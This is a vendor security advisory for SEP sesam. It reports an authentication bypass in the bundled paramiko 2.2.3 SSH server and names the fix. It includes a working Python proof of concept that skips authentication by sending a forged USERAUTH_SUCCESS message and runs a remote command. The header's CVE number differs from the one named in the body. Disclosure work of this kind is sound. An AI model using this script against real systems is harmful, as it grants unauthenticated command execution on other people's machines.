usd-2018-0025 | SEP sesam/126.96.36.199
Advisory ID: usd-2018-0025
CVE Number: CVE-2018-7750
Affected Product: SEP sesam
Affected Version: 188.8.131.52
Vulnerability Type: Authentication Bypass
Security Risk: High
Vendor URL: https://www.sep.de/
Vendor Status: Fixed
SEP sesam uses an outdated version of paramiko (2.2.3) in sm_sshd, which has a known authentication bypass vulnerability (CVE-2018-1000805)
Proof of Concept
Install the SEP sesam client. It opens an SSH server at port 11322. Run the following python script to exploit CVE-2018-1000805.
#!/usr/bin/env python from paramiko.common import cMSG_USERAUTH_SUCCESS, cMSG_USERAUTH_INFO_RESPONSE import paramiko port = 11322 hostname = '[IP of client machine]' username = '' password = '' client = paramiko.SSHClient() #enable warning policy to allow connections to all servers client.set_missing_host_key_policy(paramiko.WarningPolicy()) #overwrite auth method to skip the auth process client._auth = lambda *args, **kwargs: None client.connect(hostname, port, username, password) #craft MSG_USERAUTH_SUCCESS message m = paramiko.Message() m.add_byte(cMSG_USERAUTH_SUCCESS) client._transport._send_message(m) stdin, stdout, stderr = client.exec_command('whoami') print stdout.read() client.close()
Update paramiko to version 2.2.4
- 2018-09-11 notify firstname.lastname@example.org
- 2018-10-08 notify email@example.com
- 2018-12-07 verified that sesam 4.4.3-64 uses Paramiko 2.2.4
- 2018-12-07 Security advisory released
This security vulnerabilities were found by Daniel Hoffmann and Konstantin Samuel of usd AG.
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